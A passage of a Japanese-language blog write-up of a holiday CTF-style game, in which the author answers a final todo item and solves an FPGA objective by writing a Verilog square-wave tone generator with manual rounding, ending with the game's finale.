    • SAVE THE DAY by delivering Frosty presents using merch from the Frost Tower Gift Shop to children world-wide... so the whole world sees that Frost saved the Holiday Season!!!! Bwahahahahaha!
    • With Santa defeated, offer the old man a job as a clerk in the Frost Tower Gift Shop so we can keep an eye on him

最後のtodoが、サンタの職業に関する記載。clerkだけを入れると正解でした!

f:id:kusuwada:20220106223905p:plain

13) FPGA Programming

Write your first FPGA program to make a doll sing. You might get some suggestions from Grody Goiterson, near Jack's elevator.

エルフからもらったヒントはこちら。

  • FPGA Talk: Prof. Qwerty Petabyte is giving a lesson about Field Programmable Gate Arrays (FPGAs).
  • FPGA for Fun: There are FPGA enthusiast sites.

FPGAといえば、ウロウロ探索しているときに Frost Tower Rooftop にそういう名前の端末があったような。開いてみるとこんな問題。

EE/CS 302 - Exercise #4

Hello, students! In exercise #4, we continue our FPGA journey, documenting the creation of the sound chip for this holiday season's new Kurse 'em Out Karen doll. Our goal is to make the doll say its trademark phrase. But, as I always tell you in class, we must walk before we run.

Before the doll can say anything, we must first have it make noise. In this exercise you will design an FPGA module that creates a square wave tone at a variable frequency.

Creating a square wave output takes our clock signal (which is also a square wave) and uses a counter to divide the clock to match the desired frequency. One tricky problem that we'll encounter is that Verilog (v1364-2005) doesn't have a built-in mechanism to round real numbers to integers, so you'll need to devise a means to do that correctly if you want your module to match frequencies accurately.

Good luck and always remember:

If $rtoi(real_no * 10) - ($rtoi(real_no) * 10) > 4, add 1

// Note: For this lab, we will be working with QRP Corporation's CQC-11 FPGA.
// The CQC-11 operates with a 125MHz clock.
// Your design for a tone generator must support the following 
// inputs/outputs:
// (NOTE: DO NOT CHANGE THE NAMES. OUR AUTOMATED GRADING TOOL
// REQUIRES THE USE OF THESE NAMES!)
// input clk - this will be connected to the 125MHz system clock
// input rst - this will be connected to the system board's reset bus
// input freq - a 32 bit integer indicating the required frequency
//              (0 - 9999.99Hz) formatted as follows:
//              32'hf1206 or 32'd987654 = 9876.54Hz
// output wave_out - a square wave output of the desired frequency
// you can create whatever other variables you need, but remember
// to initialize them to something!

`timescale 1ns/1ns
module tone_generator (
    input clk,
    input rst,
    input [31:0] freq,
    output wave_out
);
    // ---- DO NOT CHANGE THE CODE ABOVE THIS LINE ---- 
    // ---- IT IS NECESSARY FOR AUTOMATED ANALYSIS ----
    // TODO: Add your code below. 
    // Remove the following line and add your own implementation. 
    // Note: It's silly, but it compiles...
    assign wave_out = (clk | rst | (freq > 0));
endmodule

これはサラッと見ただけだけど、ヒントのリンク先のmovieの内容とかなり似ている気がする…!まずはヒントのmovieと、Webサイトの例をよく読んで取り組んでみます。

この言語は Verilog というやつで、普通のプログラミング言語だと思わないでね!とのこと。loopやdelayも使えない。

矩形波を出すプログラムを参考リンクを見ながら作ってみたものの、どうも精度が良くないらしい。

Sending code for analysis...
Verilog parsed cleanly...
Beginning FPGA simulation. This may take a few seconds...
Random target frequency: 1602.85
Using a clock frequency of 125MHz, the closest you could get to the target frequency is 1602.8518
Sorry! Simulation results indicate a frequency of: 1606.6838Hz
Your model should be able to more closely match the requested frequency.

こんな感じで弾かれてしまう。
terminalの最後に注意があったとおり、四捨五入がうまく行っていないのかもしれない。verilog square wave みたいな文言でぐぐってみると、最初にあたったリンクに今回とても使えそうなコードが載っていました。こっちのほうが最初から精度が出たので、このコードをベースに実装してみます。

Generating simple square wave using FPGA | Numato Lab Help Center

あとは、verilogの型やbit数を意識して realinteger を使い分けて…とやっていると、精度良く動くコードが出来ました。最終成果物はこちら。

// Note: For this lab, we will be working with QRP Corporation's CQC-11 FPGA.
// The CQC-11 operates with a 125MHz clock.
// Your design for a tone generator must support the following 
// inputs/outputs:
// (NOTE: DO NOT CHANGE THE NAMES. OUR AUTOMATED GRADING TOOL
// REQUIRES THE USE OF THESE NAMES!)
// input clk - this will be connected to the 125MHz system clock
// input rst - this will be connected to the system board's reset bus
// input freq - a 32 bit integer indicating the required frequency
//              (0 - 9999.99Hz) formatted as follows:
//              32'hf1206 or 32'd987654 = 9876.54Hz
// output wave_out - a square wave output of the desired frequency
// you can create whatever other variables you need, but remember
// to initialize them to something!

`timescale 1ns/1ns
module tone_generator (
    input clk,
    input rst,
    input [31:0] freq,
    output wave_out
);
    // ---- DO NOT CHANGE THE CODE ABOVE THIS LINE ---- 
    // ---- IT IS NECESSARY FOR AUTOMATED ANALYSIS ----
    // TODO: Add your code below. 
    // Remove the following line and add your own implementation. 
    // Note: It's silly, but it compiles...
    // assign wave_out = (clk | rst | (freq > 0));
    
    integer counter;
    real real_no;
    integer rounded;
    reg sq_wave;
    assign wave_out = sq_wave;
    
    always @(posedge clk or posedge rst)
    begin
        // calculate precise count in advance (everytime...)
        real_no <= 125000000.0/freq/2.0*100.0;
        if($rtoi(real_no * 10) - ($rtoi(real_no) * 10) > 4)
            begin
                rounded <= $rtoi(real_no) + 1;
            end
        else
            begin
                rounded <= $rtoi(real_no);
            end
        if(rst==1)
            begin
                counter <= 32'h00;
                sq_wave <= 1'b0;
            end
        else
            begin
                if(counter == 32'h00)
                    begin
                        sq_wave <= ~sq_wave;
                        counter <= rounded - 1;
                    end
                else
                    begin
                        counter <= counter - 1;  // count down
                    end
            end
    end
endmodule

これですべて正確な値を出すことに成功。最後にProgram Deviceを押して The device has been successfully programmed! と表示されたらObjective達成🙌

このObjectiveをクリアすると、rooftopに宇宙船が降りてきて、その中でJackとスクリーンの中のサンタに話しかけるとWon! エンドロールが流れます。